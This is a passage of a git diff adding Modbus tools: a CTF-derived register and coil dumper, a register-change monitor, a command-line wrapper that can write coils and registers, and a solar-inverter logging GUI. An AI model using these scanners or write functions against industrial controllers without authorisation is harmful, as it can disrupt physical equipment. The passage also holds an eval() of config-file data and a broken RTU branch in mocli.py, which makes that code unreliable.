Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + 